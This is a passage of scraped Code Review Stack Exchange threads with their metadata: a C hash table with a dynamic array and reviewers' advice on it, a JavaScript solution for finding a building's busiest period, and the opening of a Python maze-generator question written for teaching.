a->size++;
return 0;
}
/* Returns number of elements currently stored in given array. */
unsigned long array_size(struct array *a) {
return a->size;
}
</code></pre>
<p><strong>hash_table.c</strong></p>
<pre><code>#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "hash_table.h"
#include "array.h"
/* Table structure used to store relevant data for a hash table. */
struct table {
// The (simple) array used to index the table
struct node **array;
// The function used for computing the hash values in this table
unsigned long (*hash_func)(unsigned char *);
// Maximum load factor after which the table array should be resized
double max_load;
// Capacity of the array used to index the table
unsigned long capacity;
// Current number of elements stored in the table
unsigned long load;
};
/* Node structure used by elements of chain in hash table entries. */
struct node {
// The string of characters that is the key for this node
char *key;
// A resizing array, containing the all the integer values for this key
struct array *value;
// Next pointer
struct node *next;
};
/* Initializes hash table and returns the pointer, returns NULL on failure. */
struct table *table_init(unsigned long capacity, double max_load,
unsigned long (*hash_func)(unsigned char *)) {
if(max_load <= 0) {
return NULL;
}
struct table* t = malloc(sizeof(struct table));
if(t == NULL) {
// Initialization failed.
return NULL;
}
t->array = (struct node**) malloc(sizeof(struct node*) * capacity);
if(t->array == NULL) {
free(t);
return NULL;
}
for(int i=0;i<(int) capacity;i++) {
t->array[i] = NULL;
}
t->max_load = max_load;
t->capacity = capacity;
t->hash_func = hash_func;
t->load = 0;
return t;
}
/* Walks through given linked list (chain) and returns dynamic array of
integers upon finding correct key. Returns NULL otherwise. */
struct array *chain_find_value(struct node *n, char *key) {
if(!n) {
return NULL;
}
// If while statement is true, strings are NOT identical.
while(strcmp(n->key, key)) {
if(n->next) {
n = n->next;
} else {
return NULL;
}
}
return n->value;
}
/* Walks through given linked list (chain) and returns node before
the node associated with a given key using a given node. Returns
actual node if first node in list. */
struct node *chain_find_keynode(struct node *n, char *key) {
if(!n) {
return NULL;
}
if(!strcmp(n->key, key)) {
// Returns actual node associated with key.
return n;
}
struct node *oldNode;
while(strcmp(n->key, key)) {
if(n->next) {
oldNode = n;
n = n->next;
} else {
return NULL;
}
}
return oldNode;
}
/* Returns a pointer to the last linked node of a given node. */
struct node *last_node(struct node *n) {
if(!n) {
return NULL;
}
while(n->next) {
n = n->next;
}
return n;
}
/* Returns current average load of hash table. */
double current_load(struct table *t) {
return (double) t->load/(double) t->capacity;
}
/* Adds a node to the chain of a table entry, returns the pointer. */
struct node *init_node(char *key, int value) {
struct node *n = malloc(sizeof(struct node));
if(!n) {
return NULL;
}
struct array *array = array_init(1);
if(array_append(array, value) == 1) {
return NULL;
}
n->key = malloc(sizeof(char) * (strlen(key) + 1));
if(!n->key) {
free(n);
return NULL;
}
memcpy(n->key, key, sizeof(char) * (strlen(key) + 1));
//n->key = keyDup;
n->value = array;
n->next = NULL;
return n;
}
/* Calculates array key and links node to chain. */
int link_node(struct node **a, unsigned long capacity, char *key, int value,
unsigned long (*hash_func)(unsigned char *)) {
unsigned long nodesArrayKey = hash_func((unsigned char*) key) % capacity;
struct node *firstNode = a[nodesArrayKey];
if(firstNode) {
struct array *array = chain_find_value(firstNode, key);
if(array) {
// Key already exists, append value to array
array_append(array, value);
} else {
struct node *lastNode = last_node(firstNode);
struct node *newNode = init_node(key, value);
if(!newNode)
{
return 1;
}
lastNode->next = newNode;
}
} else {
struct node *newNode = init_node(key, value);
if(!newNode)
{
return 1;
}
a[nodesArrayKey] = newNode;
}
return 0;
}
/* Rehashes all values in hash table. */
void resize_table(struct table *t) {
unsigned long oldCapacity = t->capacity;
struct node **newArray;
if(t->capacity == 0) {
t->capacity = 1;
} else {
t->capacity *= 2;
}
newArray = (struct node**) malloc(sizeof(struct node*) * t->capacity);
if(newArray == NULL) {
return;
}
for(int k=0;k<(int) t->capacity;k++) {
newArray[k] = NULL;
}
// Re-arranging old values
for(unsigned long i=0;i<oldCapacity;i++) {
struct node *n = t->array[i];
struct node *nodeToDelete;
// Traversing through whole linked list
while(n) {
nodeToDelete = n;
for(unsigned long j=0;j<array_size(n->value);j++) {
link_node(newArray, t->capacity, n->key,
array_get(n->value, j), t->hash_func);
}
array_cleanup(n->value);
n = n->next;
free(nodeToDelete->key);
free(nodeToDelete);
}
}
free(t->array);
t->array = newArray;
}
/* Inserts a given pair of key and value in a given hash table. Keeps
table load below or equal to max load of table. */
int table_insert(struct table *t, char *key, int value) {
if(!t) {
return 1;
}
if(current_load(t) >= t->max_load) {
// Resizing hash table first, to reduce load.
resize_table(t);
}
link_node(t->array, t->capacity, key, value, t->hash_func);
t->load++;
return 0;
}
/* Returns the array of all inserted integer values for the specified key.
Returns NULL if the key is not present in the table. */
struct array *table_lookup(struct table *t, char *key) {
if(!t) {
return NULL;
}
unsigned long nodesArrayKey = t->hash_func((unsigned char*) key) % t->capacity;
return chain_find_value(t->array[nodesArrayKey], key);
}
/* Deletes key-entry from hash table. */
int table_delete(struct table *t, char *key) {
if(!t) {
return 1;
}
unsigned long nodesArrayKey = t->hash_func((unsigned char*) key) % t->capacity;
struct node *firstNode = t->array[nodesArrayKey];
if(!firstNode) {
return 1;
}
struct node *impactNode = chain_find_keynode(firstNode, key);
if(!impactNode) {
return 1;
}
if(!strcmp(impactNode->key, key)) {
// Node is the first element in linked list.
if(impactNode->next) {
t->array[nodesArrayKey] = impactNode->next;
} else {
t->array[nodesArrayKey] = NULL;
}
array_cleanup(impactNode->value);
free(impactNode->key);
free(impactNode);
} else {
struct node *nodeToDelete = impactNode->next;
if(nodeToDelete->next) {
impactNode->next = nodeToDelete->next;
} else {
impactNode->next = NULL;
}
array_cleanup(nodeToDelete->value);
free(nodeToDelete->key);
free(nodeToDelete);
}
return 0;
}
/* Cleans up hash-table associated memory. */
void table_cleanup(struct table *t) {
for(unsigned long i=0;i<t->capacity;i++) {
if(t->array[i]) {
struct node *n = t->array[i];
struct node *nodeToDelete;
// Traversing through linked list.
while(n) {
nodeToDelete = n;
array_cleanup(n->value);
n = n->next;
free(nodeToDelete->key);
free(nodeToDelete);
}
}
}
free(t->array);
free(t);
}
</code></pre>
<p>Extreme thanks to anyone interested in reviewing this piece of code for me.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:41:57.353",
"Id": "420912",
"Score": "1",
"body": "Damiaan, welcome to Codereview. Looks like good code, for something like this a little example or some test code is always helpful to get people started. You do have test code ? ;)"
}
] | [
{
"body": "<p>This is a noble goal -- you will learn (and perhaps already have learned) a lot about higher level languages by diving a layer deeper.</p>\n\n<p>Here are my thoughts as I read your code. I hope you don't mind my stream of consciousness format.</p>\n\n<h3>Project Layout</h3>\n\n<ul>\n<li>Did you put the declarations in headers? It's definitely a good idea. I don't see any includes, so I'm a bit suspicious. Also, headers have a lot of gotchas, so it might be good to review them.</li>\n</ul>\n\n<h3>Struct Declaration</h3>\n\n<ul>\n<li><p>Why not <code>typedef struct { ... } array</code>? I think that makes types easier to work with.</p></li>\n<li><p>How about changing the name <code>contents</code> to <code>data</code>? I think this would make your naming more consistent with C++ vector. This would satisfy the principle of least surprise in my subjective opinion.</p></li>\n<li><p>In C, it is sometimes helpful to store <code>void*</code> as your datatype. That way, users can store simple types (like <code>int</code>s) in the <code>void*</code>, but they can also store pointers to larger types. This allows composition e.g. storing an array of arrays. But this can be trickier for the users.</p></li>\n<li><p>Your comment is about a use case rather than what is going on. I think you don't really need a comment at all. At most, you might say <code>// currently used in line_number.c - Damiaan, 21/4/2019</code>.</p></li>\n<li><p>(nitpick) Put the <code>data</code> first. If <code>data</code> is first, and I want to get the 5th element from an <code>array *a</code>, then all the compiler needs to do is dereference and add. Otherwise, it has to add, dereference, and add again. Probably <code>size</code> should be next and then <code>capacity</code> following the general guideline that frequently used items should go first.</p></li>\n</ul>\n\n<h3><code>array_init</code></h3>\n\n<ul>\n<li><p><code>initial_capacity</code> should be <code>size_t</code> (and <code>const</code>).</p></li>\n<li><p>Always cast the return value of <code>malloc</code> before assignment. That way, you'll get a compiler warning if you mess up (or at least, you have a shot at getting a warning). It looks OK here, but it's a good habit to get into.</p></li>\n<li><p>I would have expected <code>array_init</code> to take a pointer as its first argument. That way the caller can choose where the array struct lives. I think the caller should be able to do that, since after all, the caller owns the array and is responsible for keeping it between calls to your API. Also, that frees up the return value to potentially have more specific information. This is contentious though -- many C libraries do what you've done. </p></li>\n<li><p>\"If initial_capacity is zero, contents would always be NULL.\" This is not guaranteed. It's implementation defined. I don't think this would cause any problems for your code, but the comment is misleading.</p></li>\n<li><p>Functions that do multiple allocations in C are really easy to get wrong. One common pattern is to use a goto chain. Declare your variables at the top of the function, then list their cleanups in the reverse order that you initialize. On each failure, goto the cleanup after the one for the variable that failed. e.g.</p>\n\n<pre><code>T *a, *b;\n\nif (NULL == (a = (T*)malloc(sizeof(T)))) { goto failure_a; }\nif (NULL == (b = (T*)malloc(sizeof(T)))) { goto failure_b; }\n\n...\n\nfree(b);\n\nfailure_b:\nfree(a);\n\nfailure_a:\n\nreturn 1;\n</code></pre></li>\n</ul>\n\n<p>The advantage of a goto chain is that you don't have to repeate the cleanups at each possible failure. It can make a big difference when you have lots of initializations.</p>\n\n<p>Another tip -- in C, return is often the cause of bugs. This is especially true for ex-C++/similar programmers who expect cleanup to be automatic. A nice feature of the goto chain is it minimizes the number of return statements to think about.</p>\n\n<h3><code>array_cleanup</code></h3>\n\n<ul>\n<li><p>I know <code>free</code> accepts <code>NULL</code>, but that's not always the best route. I would <code>assert(a)</code>. Other examples of cleanup functions that don't have to do null checks are <code>pthread_mutex_destroy</code> and <code>fclose</code>. In general in C, there is a philosophy that the programmer is right and the computer will do what s/he says or die trying. So if the programmer says array_cleanup, then do your darnest to cleanup the array.</p></li>\n<li><p><code>if (a->contents)</code> is superfluous as free checks that anyway.</p></li>\n<li><p>I know what you mean by the init/cleanup naming convention, but I prefer init/destroy (as in pthread_mutex_[init|destroy]) or create/destroy. cleanup doesn't imply destroy to me -- I may want to cleanup a memory arena for example, but that doesn't mean I'm done using it.</p></li>\n</ul>\n\n<h3><code>array_get</code></h3>\n\n<ul>\n<li><p>The array could be const. If not, I would expect the return the value to be something mutable like a ptr to a value.</p></li>\n<li><p><code>index</code> should be <code>size_t const</code>.</p></li>\n<li><p>It's completely horrible to return -1. What if the element I stored is -1? Are you saying I cannot store -1, but I should pass an int? This needs to change. One option is errno. Another option is returning the element by ptr.</p></li>\n<li><p>The <code>NULL</code> checks... again, I would assert.</p></li>\n<li><p><code>index > a->capacity - 1</code> should be <code>!(index < a->capacity)</code> IMO. In my personal style, I like to say <code>if (!(...))</code> when checking if something went wrong. That way, <code>(...)</code> is the condition I want to be true. This is just a personal preference though. Also, it's bad practice to compare different types, so be sure to make them both <code>size_t</code>.</p></li>\n<li><p>You could make the capacity check an assertion too. If you make both of these checks into assertions, then the whole function will turn into just one instruction when compiled without assertions. This means you'll be quicker. Also, you won't have those nasty <code>return -1</code>s.</p></li>\n</ul>\n\n<h3><code>array_append</code></h3>\n\n<ul>\n<li><p>elem should be <code>const</code>.</p></li>\n<li><p>The <code>NULL</code> check could be an assert.</p></li>\n<li><p>Why does <code>array_append</code> return 1 for an error but <code>array_get</code> returns -1? Either get serious and return specific error codes, or always return the same value. Fix <code>array_get</code> first, then see whether this still needs to change.</p></li>\n<li><p>In this function, there is the concept of an old size and a new size. I think it would be clearer to make <code>newsize</code> a variable, and then at the end set <code>size = newsize;</code> currently, you increment <code>size</code> in two places.</p></li>\n<li><p>Like <code>malloc</code>, you should cast the return value of <code>realloc</code> before assignment. But it looks like you called it correctly -- nice job. Many beginners do <code>p = realloc(p, size)</code> which is a mistake.</p></li>\n<li><p>In <code>array_init</code> and here in <code>array_append</code>, you have special cases for <code>0 == capacity</code>. However, a zero capacity array is pretty useless. I propose that you <code>assert(0 < capacity)</code> in <code>array_init</code> and in <code>array_append</code>. Then it's the caller's responsibility to ensure that the array is allowed to have more tan 0 elements. As a side note, since you don't do anything like SSO, maybe you should have a higher minimum capcacity... e.g. 4 or 8? That way you avoid reallocing so often for small arrays. Would depend on benchmarks.</p></li>\n<li><p>You might consider growing by 1.5 instead of 2. This is highly contentious but worth looking into: <a href=\"https://github.com/facebook/folly/blob/master/folly/docs/FBVector.md\" rel=\"noreferrer\">https://github.com/facebook/folly/blob/master/folly/docs/FBVector.md</a>. Again, benchmark.</p></li>\n</ul>\n\n<h3><code>array_size</code></h3>\n\n<ul>\n<li><p>The array should be <code>const</code>.</p></li>\n<li><p>This function should return <code>size_t</code>.</p></li>\n</ul>\n\n<h3>Overall</h3>\n\n<ul>\n<li><p>What about <code>array_set</code>? <code>array_erase</code>? <code>array_insert</code>? If you wanted a more generally applicable array, then you should implement those (and more). But perhaps YAGNI.</p></li>\n<li><p>This is very similar to a C++ vector. Perhaps because I often write C++, I think of vectors as variable sized arrays and of arrays as fixed size vectors. That's at least on reason to rename this to vector. Maybe you have other reasons to use array.</p></li>\n<li><p>I didn't compile or test this, but it looks solid. Nice job.</p></li>\n<li><p>For fun, you might try adding small value optimization. This would take care of your zero capacity issue and also speed up growth for very small arrays.</p></li>\n</ul>\n\n<h3><code>struct table</code></h3>\n\n<ul>\n<li><p>The name <code>table</code> is not specific enough. A table could be so many things. It could be a 3D object representing a dinner table. Or a lookup table. Or a timetable. </p></li>\n<li><p>Again, typedef struct?</p></li>\n<li><p>Why not declare <code>node</code> before table?</p></li>\n<li><p>In an ideal world, hashtables wouldn't have hash functions or load factors. Therefore, unless you have a good reason to do otherwise, do not force users to customize the hash function or the load factor. Maybe don't allow users to customize these at all. This change will clarify your levels of abstraction, make your type smaller, and simplify the interface. Big wins.</p></li>\n</ul>\n\n<p>It would be a different story if your hashtable supported different multiple types. Then you would need to pass in a hash function.</p>\n\n<ul>\n<li><p><code>load</code> should be called <code>size</code>.</p></li>\n<li><p>Why are <code>load</code> and <code>capacity</code> <code>unsigned long</code>? <code>size_t</code> was the right type.</p></li>\n<li><p>The comments here are clutter. It took me < 1s to read your struct array, but here I had to read every word.</p>\n\n<pre><code>typedef struct {\n struct node** data;\n size_t size;\n size_t capacity;\n} hashtable;\n</code></pre></li>\n</ul>\n\n<p>So much simpler!</p>\n\n<ul>\n<li><p>I guess you are using chaining to solve collisions? that might be worth commenting in the table. Otherwise I would expect node* instead of node**.</p></li>\n<li><p>Note that if your array stored <code>void*</code> and your hashtable did linear probing, then you could have reused your array for the hash table and simply changed the interface functions. You might have needed to implement more function in the array, but so be it.</p>\n\n<pre><code>typedef array_t hashtable_t;\n</code></pre></li>\n</ul>\n\n<p>Even simpler! But you'd want to comment about linear probing. This would be a big win because you wouldn't need to reimplement so much stuff.</p>\n\n<ul>\n<li>As I read through the implementation, I realized this is really a map of keys to sets of values. I did not expect that, and I think it should be commented. I usually expect a hashtable to map each key to a single value. If I want multiple values, then I would expect to store a set as the value (which I might be able to do if the value were a <code>void*</code>).</li>\n</ul>\n\n<h3>The rest</h3>\n\n<ul>\n<li><p>A lot of the comments from the array also apply to the hash function (e.g. <code>assert</code> instead of <code>if</code>, use goto chains for complex failures, etc.).</p></li>\n<li><p>This is getting long, so I'm going to sign off. Perhaps another user will finish the review.</p></li>\n<li><p>You might enjoy reading this style guide: <a href=\"https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard\" rel=\"noreferrer\">https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard</a></p></li>\n<li><p>glib has these data structures (and many more) e.g. <a href=\"https://developer.gnome.org/glib/2.60/glib-Hash-Tables.html\" rel=\"noreferrer\">https://developer.gnome.org/glib/2.60/glib-Hash-Tables.html</a>. Note that they agree with your implementation in a few key (pun intended) places e.g. passing the hash function to the constructor and returning a pointer from the creation routine. However, their hashtable operates on <code>void*</code> key and <code>void*</code> value, so they are more generic solutions. It's a shame the compiler cannot inline/remove these values even though it knows they will never change.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T13:08:31.990",
"Id": "421821",
"Score": "0",
"body": "I extremely appreciate how you contributed so extensively. This is really helpful. A thousand times thanks! Just to comment on my strange error handling: since I wrote this specifically for storing (positive) integers which correspond to line numbers in a text (which can never be negative), I decided to return \"-1\" on array_get (for example), since then I would know it's an error and not a \"real\" return value. But you're right, it's better to make it more generally applicable."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T14:10:53.217",
"Id": "421839",
"Score": "1",
"body": "I'm glad it is helpful! next time you do something like that, you should comment gratuitously. or just dont do it"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-21T00:58:25.130",
"Id": "217805",
"ParentId": "217540",
"Score": "7"
}
},
{
"body": "<p><strong>Performance improvement</strong></p>\n\n<p>A key attribute concerning <em>hashing</em>, <code>capacity</code> and doubling the table size <code>*= 2</code>: <strong>primes</strong></p>\n\n<p>The hash table index calculation has 2 stages: <code>hash_func()</code> and <code>% capacity</code>.</p>\n\n<p>A poor or modest <code>hash_func()</code> is <em>improved</em> when modded by a prime. A prime will not harm a good hash function. Modding by a power-of-2 is the worst as it simply becomes a bit mask discarding many distinguishing bits from <code>hash_func()</code>.</p>\n\n<p><a href=\"https://stackoverflow.com/a/32915815/2410359\">Better</a> to use capacities that are primes in the <code>%</code> step.</p>\n\n<p>Instead of <code>capacity *= 2</code>, form a table of \"primes\" just under a power of 2: <code>static const size_t capacity[] = 0,1,3,7,13,31,61, ... near SIZE_MAX;</code>.</p>\n\n<p>Use a member <code>.capacity index</code> into that table and increment as needed.</p>\n\n<pre><code>struct array {\n size_t size;\n unsigned char capacity_index; // Or some small type.\n int* contents;\n};\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T04:52:27.407",
"Id": "218992",
"ParentId": "217540",
"Score": "6"
}
},
{
"body": "<p>To add to the <a href=\"/a/218992\">answer by chux</a> which suggests using primes for mod or compression as it often called, I was going through articles on good hash and compression functions and found 2 alternatives:</p>\n<ol>\n<li>Make N as prime (as mentioned in the answer by @<em>chux-reinstate-monica</em> )</li>\n</ol>\n<p>But most recommended taking away the burden of being prime from the storage capacity (N) and giving it to the compression function, h() as below:</p>\n<ol start=\"2\">\n<li>\n<pre><code>h(hashCode) = ((a * hashCode + b) mod p) mod N\n</code></pre>\n</li>\n</ol>\n<p>where,\na, b, p are positive integers</p>\n<p>p is a large prime;\np >> N</p>\n<p><em>Reference: Stanford.edu</em></p>\n<p>Hope this helps.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-10T15:27:22.263",
"Id": "514334",
"Score": "1",
"body": "The order of the answers is not necessarily maintained by when they were answered, so mentioning the `above answer` may not be helpful. Identify by user name instead. The primary concern on the Code Review Community is to improve the code in the question, I'm not sure you address the original code at any point."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-10T17:13:08.917",
"Id": "514346",
"Score": "0",
"body": "Thank you @pacmaninbw . I came to this question while searching for hash table implementations that utilize dynamic array resizing and while that is a supporting technique for addressing collisions, I think the right hash and compression functions also significantly help improve the performance of the program. Hence, shared my input."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-10T14:59:49.510",
"Id": "260567",
"ParentId": "217540",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217805",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:06:06.580",
"Id": "217540",
"Score": "7",
"Tags": [
"c",
"array",
"hash-map"
],
"Title": "Hash table with dynamic sized array in C"
} | 217540 |
<p><strong>The task</strong></p>
<blockquote>
<p>You are given a list of data entries that represent entries and exits
of groups of people into a building. An entry looks like this:</p>
<p>{"timestamp": 1526579928, count: 3, "type": "enter"}</p>
<p>This means 3 people entered the building. An exit looks like this:</p>
<p>{"timestamp": 1526580382, count: 2, "type": "exit"}</p>
<p>This means that 2 people exited the building. timestamp is in Unix
time.</p>
<p>Find the busiest period in the building, that is, the time with the
most people in the building. Return it as a pair of (start, end)
timestamps. You can assume the building always starts off and ends up
empty, i.e. with 0 people inside.</p>
</blockquote>
<pre><code>const stamp = [
{"timestamp": 1526579928, count: 3, "type": "enter"},
{"timestamp": 1526580382, count: 2, "type": "exit"},
{"timestamp": 1526579938, count: 6, "type": "enter"},
{"timestamp": 1526579943, count: 1, "type": "enter"},
{"timestamp": 1526579944, count: 0, "type": "enter"},
{"timestamp": 1526580345, count: 5, "type": "exit"},
{"timestamp": 1526580351, count: 3, "type": "exit"},
];
</code></pre>
<p><strong>My imperative solution:</strong></p>
<pre><code>const findBusiestPeriod = lst => {
let visitors = 0;
const busiestPeriod = {
start: null,
end: null,
maxVisitors: null,
};
lst.forEach((v, i) => {
visitors = v.type === "enter" ?
visitors + v.count :
visitors - v.count;
if (visitors > busiestPeriod.maxVisitors) {
busiestPeriod.maxVisitors = visitors;
busiestPeriod.start = v.timestamp;
busiestPeriod.end = lst[i + 1].timestamp;
} else if (visitors === busiestPeriod.maxVisitors){
busiestPeriod.end = lst[i + 1].timestamp;
}
});
return [busiestPeriod.start, busiestPeriod.end];
};
console.log(findBusiestPeriod(stamp));
</code></pre>
<p><strong>My functional solution</strong></p>
<pre><code>const findBusiestPeriod2 = lst => {
const {start, end} = lst.reduce((busiestPeriod, v, i) => {
busiestPeriod.visitors = v.type === "enter" ?
busiestPeriod.visitors + v.count :
busiestPeriod.visitors - v.count;
const visitors = busiestPeriod.visitors;
if (!busiestPeriod.maxVisitors || visitors > busiestPeriod.maxVisitors) {
busiestPeriod.maxVisitors = visitors;
busiestPeriod.start = v.timestamp;
busiestPeriod.end = lst[i + 1].timestamp;
} else if (visitors === busiestPeriod.maxVisitors){
busiestPeriod.end = lst[i + 1].timestamp;
}
return busiestPeriod;
}, {visitors: 0, maxVisitor: null,});
return [start, end];
};
console.log(findBusiestPeriod2(stamp));
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-03T18:59:51.643",
"Id": "524742",
"Score": "0",
"body": "It sounds like Kadane's algorithm with some extra details"
}
] | [
{
"body": "<p>From a short review;</p>\n\n<ul>\n<li>I advise avoiding <code>null</code>, you could either not define the member or use <code>undefined</code></li>\n<li><code>busiestPeriod</code> is a really long name, given how often you use it</li>\n<li>You really only need to track the log entry with the most visitors, the start of the period would be timestamp of the entry before that</li>\n<li><p>This: <code>busiestPeriod.visitors = v.type === \"enter\" ?\n busiestPeriod.visitors + v.count :\n busiestPeriod.visitors - v.count;</code> could be </p>\n\n<p><code>busiestPeriod.visitors += (v.type == \"enter\" ? v.count : - v.count);</code> </p>\n\n<p>or even </p>\n\n<p><code>busiestPeriod.visitors += (v.type == \"enter\" ? 1 : -1) * v.count;</code></p></li>\n</ul>\n\n<p>This is my counter-proposal:</p>\n\n<pre><code>function findBusiestTime(logs){\n\n function analyzeLogEntry(acc, log, index){\n if(log.type == \"enter\"){\n acc.count += log.count; \n }else{\n if(acc.count > acc.maxCount){\n acc.maxCount = acc.count;\n acc.index = index;\n }\n acc.count -= log.count;\n }\n return acc;\n }\n\n let {index} = logs.reduce(analyzeLogEntry,{count:0, maxCount: 0});\n return [logs[index-1].timestamp,logs[index].timestamp]; \n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T20:52:03.697",
"Id": "420961",
"Score": "0",
"body": "Why do you advice against using null?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T21:12:22.413",
"Id": "420962",
"Score": "0",
"body": "There is little `null` can do that `undefined` can't do, to me it's like the appendix of JavaScript"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T20:40:45.700",
"Id": "217582",
"ParentId": "217545",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217582",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T10:19:53.050",
"Id": "217545",
"Score": "1",
"Tags": [
"javascript",
"algorithm",
"programming-challenge",
"functional-programming",
"ecmascript-6"
],
"Title": "Find busiest period in building"
} | 217545 |
<p>I am teaching programming (in this case - 1 on 1 tutoring of a teenager interested in programming) and this code will be a final stage of a <a href="https://github.com/matkoniecz/quick-beautiful/tree/f58b7764ea968402fd97e7a9f23f672d62668635/06-maze-generation" rel="nofollow noreferrer">progression</a> toward program generating a maze.</p>
<p>Any comments how this code can be improved are welcomed! But problems with unclear code that break standard practices are especially welcomed, performance issues are less important here.</p>
<p>Note that as I am teaching beginner I prefer to avoid more complicated or Python specific constructions like for example <code>if __name__ == '__main__'</code>, generator, itertools and focus on more generic ones - structure of a program, debugging strategies, loops or classes.</p>
<pre><code>"""
maze generator
"""
import random
from PIL import Image
def main():
WIDTH = 100
HEIGHT = 100
TILE_SIZE_PX = 4
WHITE = (255, 255, 255)
PASSAGE_COLOR = WHITE
BLACK = (0, 0, 0)
WALL_COLOR = BLACK
maze = Maze(width=WIDTH, height=HEIGHT)
maze.output_maze("maze.png", passage_color=PASSAGE_COLOR, wall_color=WALL_COLOR, tile_size_in_pixels=TILE_SIZE_PX)
maze = MazeWithWideCorridors(width=WIDTH, height=HEIGHT)
maze.output_maze("maze_alternative.png", passage_color=PASSAGE_COLOR, wall_color=WALL_COLOR, tile_size_in_pixels=TILE_SIZE_PX)
class Maze:
"""
generates maze using DFS based algorithm
"""
def __init__(self, width, height):
self.WIDTH = width
self.HEIGHT = height
self.PASSAGE_COLOR = (255, 255, 255)
self.WALL_COLOR = (0, 0, 0)
self.image = Image.new("RGB", (self.WIDTH, self.HEIGHT), self.WALL_COLOR)
self.pixels = self.image.load()
self.generate()
def generate(self):
"""
expands maze starting from (0, 0) as a seed location,
as long as eligible places to carve new tunnels exist
"""
candidates_list = []
candidates_list.append((0, 0))
while len(candidates_list) > 0:
processed = candidates_list.pop()
x = processed[0]
y = processed[1]
self.pixels[x, y] = self.PASSAGE_COLOR
new_candidates = self.children(x, y)
if len(new_candidates) > 0:
candidates_list.append(processed)
candidates_list.append(random.choice(new_candidates))
def output_maze(self, image_output_filepath, tile_size_in_pixels=1, passage_color=(255, 255, 255), wall_color=(0, 0, 0)):
"""
shows maze image at the screen and
outputs maze to specified location in image_output_filepath
using file format implied by extensions
"""
output = Image.new("RGB", (self.WIDTH, self.HEIGHT))
output_pixels = output.load()
for x in range(self.WIDTH):
for y in range(self.HEIGHT):
if self.pixels[x, y] == self.PASSAGE_COLOR:
output_pixels[x, y] = passage_color
else:
output_pixels[x, y] = wall_color
output = output.resize((self.WIDTH*tile_size_in_pixels, self.HEIGHT*tile_size_in_pixels))
output.show()
output.save(image_output_filepath)
def children(self, parent_x, parent_y):
"""
returns list of all currently eligible locations to expand from (parent_x, parent_y)
list contains tuples of integers
"""
up = (parent_x, parent_y - 1)
left = (parent_x - 1, parent_y)
right = (parent_x + 1, parent_y)
down = (parent_x, parent_y + 1)
returned = []
if self.is_safe_to_tunnel(parent_x, parent_y, up[0], up[1]):
returned.append(up)
if self.is_safe_to_tunnel(parent_x, parent_y, left[0], left[1]):
returned.append(left)
if self.is_safe_to_tunnel(parent_x, parent_y, down[0], down[1]):
returned.append(down)
if self.is_safe_to_tunnel(parent_x, parent_y, right[0], right[1]):
returned.append(right)
return returned
def is_safe_to_tunnel(self, parent_x, parent_y, x, y):
"""
returns true if location (x, y) can be turned into a passage
false otherwise
protects agains going outside image or making
loop or passage wider than 1 tile
returns false if (x, y) is not inside the image
returns false if (x, y) is already a passage
returns false if there are passages around (x, y) that are
not on (parent_x, parent_y) location or around it
returns true if location (x, y) can be turned into a passage
"""
if not self.inside_image(x, y):
return False
if self.pixels[x, y] == self.PASSAGE_COLOR:
return False
if self.is_colliding_with_other_tunnels(parent_x, parent_y, x, y):
return False
return True
def is_colliding_with_other_tunnels(self, parent_x, parent_y, x, y):
"""
checks whatever tunnel at this legal location can
be placed without colliding with other tunnels
"""
for offset in self.offsets_to_surrounding_tiles():
if self.is_populated(x + offset[0], y + offset[1]):
x_distance_to_parent = x + offset[0] - parent_x
y_distance_to_parent = y + offset[1] - parent_y
if abs(x_distance_to_parent) + abs(y_distance_to_parent) > 1:
return True
return False
def offsets_to_surrounding_tiles(self):
"""
returns list of 2-tuples with distances to
each of 8 neighbouring tiles
"""
return [(1, 0), (1, -1), (0, -1), (-1, -1),
(-1, 0), (-1, 1), (0, 1), (1, 1)]
def is_populated(self, x, y):
"""returns true if this locations contains passage, false if wall or is outside image"""
if not self.inside_image(x, y):
return False
if self.pixels[x, y] == self.PASSAGE_COLOR:
return True
return False
def inside_image(self, x, y):
"""
returns true if (x, y) is inside image,
return false otherwise
"""
if x < 0:
return False
if y < 0:
return False
if x >= self.WIDTH:
return False
if y >= self.HEIGHT:
return False
return True
class MazeWithWideCorridors(Maze):
def is_colliding_with_other_tunnels(self, parent_x, parent_y, x, y):
"""
checks whatever tunnel at this legal location can
be placed without colliding with other tunnels
"""
for offset in self.offsets_to_surrounding_tiles():
if self.is_populated(x + offset[0], y + offset[1]):
x_distance_to_parent = x + offset[0] - parent_x
y_distance_to_parent = y + offset[1] - parent_y
if abs(x_distance_to_parent) > 1 or abs(y_distance_to_parent) > 1:
return True
return False
main()
<span class="math-container">```</span>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T16:56:14.333",
"Id": "420940",
"Score": "0",
"body": "What rules, if any, must the resulting maze conform to?"
}
] | [
{
